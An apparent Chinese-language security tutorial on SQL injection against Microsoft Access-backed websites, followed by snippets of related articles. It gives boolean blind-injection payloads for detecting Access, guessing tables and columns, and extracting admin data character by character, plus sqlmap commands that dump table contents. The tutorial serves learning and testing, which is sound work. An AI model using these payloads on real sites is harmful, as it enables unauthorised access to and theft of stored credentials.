目录

Access数据库

Access数据库中的函数

盲注Access数据库

Sqlmap注入Access数据库


Access数据库

Microsoft Office Access是由微软发布的关系数据库管理系统。Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。它是微软Office家族的一个成员。Access以它自己的格式将数据存储在基于Access Jet的数据库引擎里。Access数据库属于文件型数据库,所以不需要端口号。

在Office 2007之前的Access数据库文件的后缀是 .mdb ,Office2007及其之后的Access数据库文件的后缀是 .accdb

Access数据库中没有注释符号.因此  /**/   、 --   和   #   都没法使用。

Access是小型数据库,当容量到达100M左右的时候性能就会开始下降。

Access数据库不支持错误显示注入,Access数据库不能执行系统命令。

数据库文件打开工具:辅臣数据库浏览器

Access数据库的连接

"Driver={Microsoft Access driver(*.mdb)};dbq=*;uid=admin;pwd=pass;"

Access数据库中的函数

  1. select len("string") 查询给定字符串的长度
  2. select asc("a") 查询给定字符串的ascii值
  3. top n 查询前n条记录
  4. select mid("string",2,1) 查询给定字符串从指定索引开始的长度

mid(string,start,length) 这个用来截取字符串的

  • string是要截取的字符串
  • start是截取的字符串开始索引
  • length是要截取的字符串长度

盲注Access数据库

Access数据库特有的表是:msysobjects  ,所以可以用它来判断是否是Access数据库

exists(select*from msysobjects)  #如果这条语句正确,说明是Access数据库

Access没有数据库的概念,所有的表都是在同一个数据库下。所以,我们不用去判断当前的数据库名,并且access数据库中也不存在 database() 函数。

对于判断存在哪些表,只能用以下枚举的方法来猜测是否存在某某表。

  1. 判断存在sql注入后,判断是否存在admin表,如果存在,正常查询,如果不存在,报语法错误。然后通过枚举表名爆破
  2. and exists(select* from admin)

猜测字段也是一样,只能通过枚举来猜测

  1. 判断有admin表后,再判断admin表有多少列,假如1-10正常查询,11列报语法报错,那说明有10列
  2. and exists(select*from admin order by 10)
  3. 判断出存在的列数后,再判断具体的列名。以下语句判断是否存在name列,如果存在,正常查询,如果不存在,则报语法错误。然后再通过枚举列名爆破
  4. and exists(select name from admin)

猜测完表名和字段名后,我们就看看这个表里面有多少行数据 ,如果>99查询正确,>100查询错误(这里是查询错误,而不是语法错误),说明有100行数据

and (select count(*) from information)>100

然后在猜测每个字段具体的数据了

access数据库中没有 limit,就不能限制查询出来的行数。但是我们可以使用top命令,top 1是将查询的所有数据只显示第一行,所以 top3就是显示查询出来的前三行数据了

  1. 猜测admin列的第一个数据的长度,如果大于5查询不出数据,大于4正常,说明admin列的第一个数据长度是5
  2. and (select top 1 len(admin)from admin)>5
  3. 猜测admin列的第一行数据的第一个字符的ascii码值,如果大于97查询不出数据,大于96正常,说明admin列的第一行数据的第一个字符的ascii值是97
  4. and (select top 1 asc(mid(admin,1,1))from admin)>97
  5. 第一行数据的第二个字符
  6. and (select top 1 asc(mid(admin,2,1))from admin)>97
  7. 从第二行开始,查询数据就得用另外的语句了,因为这里的top只能显示查询前几条数据,所以我们得用联合查询,先查询前两条,然后倒序,然后在找出第一条,这就是第二条数据。
  8. 查询第二行admin列的长度
  9. and (select top 1 len(admin) from ( select top 2 * from information order by id) order by id desc)>55
  10. 下面是查询第2条数据的第3个字符
  11. and (select top 1 asc(mid(admin,3,1)) from ( select top 2 * from information order by id) order by id desc)>55
  12. 查询第三条数据的4个字符
  13. and (select top 1 asc(mid(admin,4,1)) from ( select top 3 * from information order by id) order by id desc)>55

注:在access中,中文也可以用asc函数来表示,例如:asc(mid("中国",1)) 表示 中 字的ascii值,可以用 chr 来逆向得出值

  1. asc("中") = -10544
  2. chr(-10544) = 中

Sqlmap注入Access数据库

爆出access数据库存在的表,只能利用枚举的方式爆破。

sqlmap -u "xxx"  --tables

第一步问我们是否使用公共的库去爆破,我们选择:Y;

第二步选择默认的库文件:1

第三步选择线程数:10

可以看出爆出了两个数据表:admin 、 specialty

爆出admin数据库中的列名

sqlmap -u "xxx" -T admin --columns

意思和上一步也是一样的。

爆出admin表下username列的所有数据

sqlmap -u "xxx" -T admin -C username --dump-all

相关文章:整理比较全的Access SQL注入参考

Sqlmap使用详解

SQL注入漏洞详解

Access数据库注入相关推荐

  1. 网络安全学习--008--SQL注入之Access数据库注入详解

    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 Access注入漏洞详解 一:注入漏洞分析 站库分类: 1.网站分类: 静态网页: 不依赖数据库 灵活性差,制作.更新.维护麻烦 交互 ...

  2. WEB渗透SQL注入【3】[access数据库注入](2)

    SQL注入的分类很多,不同的人也会将注入分成不同的种类,下面笔者将介绍一下常见的分类. 注意:此文章中标点符号在页面中显示可能会转成中文的,自己测试时候语句中的标点一律使用英文输入法状态下的. 1.判 ...

  3. Access数据库注入之偏移注入

    文章目录 一.偏移注入使用场景 二.必要的SQL知识补充 (一)admin.*是什么意思? (二)联合查询的字段数问题 (三)access如何查询指定数据? 三.靶场实战 (一)判断是否存在cooki ...

  4. 【CyberSecurityLearning 60】ACCESS数据库的注入+ACCESS数据库的cookie注入

    目录 ACCESS注入 雷驰新闻系统v1.0环境搭建: ACCESS数据库注入演示1: 雷驰新闻系统v3.0环境搭建: cookie注入演示2: ACCESS数据库注入用sqlmap怎么做?演示: A ...

  5. Access数据库偏移注入

    前言 本来想好好介绍一下Access数据库的偏移注入,找个目标来试试,但是找了好久都没有找到,又想自己要不在本地搭建一个?额...还是算了吧,没有太多的时间,之后在网上搜索了一些"偏移注入& ...

  6. 15、Access数据库偏移注入

    前言 本来想好好介绍一下Access数据库的偏移注入,找个目标来试试,但是找了好久都没有找到,又想自己要不在本地搭建一个?额...还是算了吧,没有太多的时间,之后在网上搜索了一些"偏移注入& ...

  7. Access数据库——Cookie注入

    目录 1.Cookie注入 什么是Cookie? Cookie注入简介 Cookie和注入有什么关系? Cookie的核心 2.如何设置Cookie? 方法一:依靠浏览器进行设置 方法二:抓包直接修改 ...

  8. Access数据库手工注入

    ACCESS数据库手工注入 access数据库 是一种非常简单但是功能完整的数据库,很适合小型网站创建,可以很轻松管理表和列,有很多管理工具. access数据库结构? access数据库是这么个结构 ...

  9. WEB安全之:Access 数据库 SQL 注入

    郑重声明: 本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关.倡导维护网络安全人人有责,共同维护网络文明和谐. SQ ...

最新文章

  1. android studio没有org.apache.http.client.HttpClient;等包问题 解决方案
  2. 【♻️markdown之一次编写,到处使用♻️】markdown文件转word
  3. RuoYi 若依框架整改
  4. matlab线性拟合和非线性拟合,matlab多元非线性拟合
  5. 将原生SQL功能休眠到您的Spring Data Repository中
  6. python中的map()函数详解
  7. 数学建模之图论——图与网络模型(二)(最小生成树问题、最大流问题)
  8. TurnipBit开发板DIY呼吸的吃豆人教程实例
  9. 解决 phpmyadmin #2002 无法登录 MySQL 服务器
  10. 相对于其他框架的离子应用开发:它被炒作了吗?
  11. 随机数生成器 java_Java中的随机数生成器
  12. Windows服务中Timer组件Tick无法触发
  13. swing mysql宾馆客房管理系统源码
  14. iOS 开发者必知的 75 个工具(译文)
  15. 二维泊松方程求解--点迭代法
  16. 【牛客网专项练习题】
  17. React 全屏监听Esc键
  18. 详解tf.variable_scope函数
  19. 【数据库笔记】高性能MySQL:chapter 5 创建高性能的索引
  20. 腾讯小程序服务器忙,使用腾讯云助手小程序管理腾讯云服务器

热门文章

  1. 数据库面试题【一、事务四大特性】
  2. IT知识架构和操作系统简介1
  3. [Python] Tkinter的食用方法_02_LabelFrame RadioButton CheckButton
  4. ldap集成nginx
  5. 【Unity3D技巧】一个简单的Unity-UI框架的实现
  6. 我们学校也在使用IPV6
  7. [试卷]古诗文背诵(七年级上学期)
  8. mysql不用limit怎么分页_mysql limit 分页的用法及注意要点
  9. python定义构造函数、包括颜色价格品牌_《Python编程与算法基础教程》(第二版),蒋洪宇,青松,第9章:课后练习,程序设计,版江红余,第九章,习题,答案...
  10. php5.4与php5.2,升级php 5.2.14 到5.4.11版本报错问题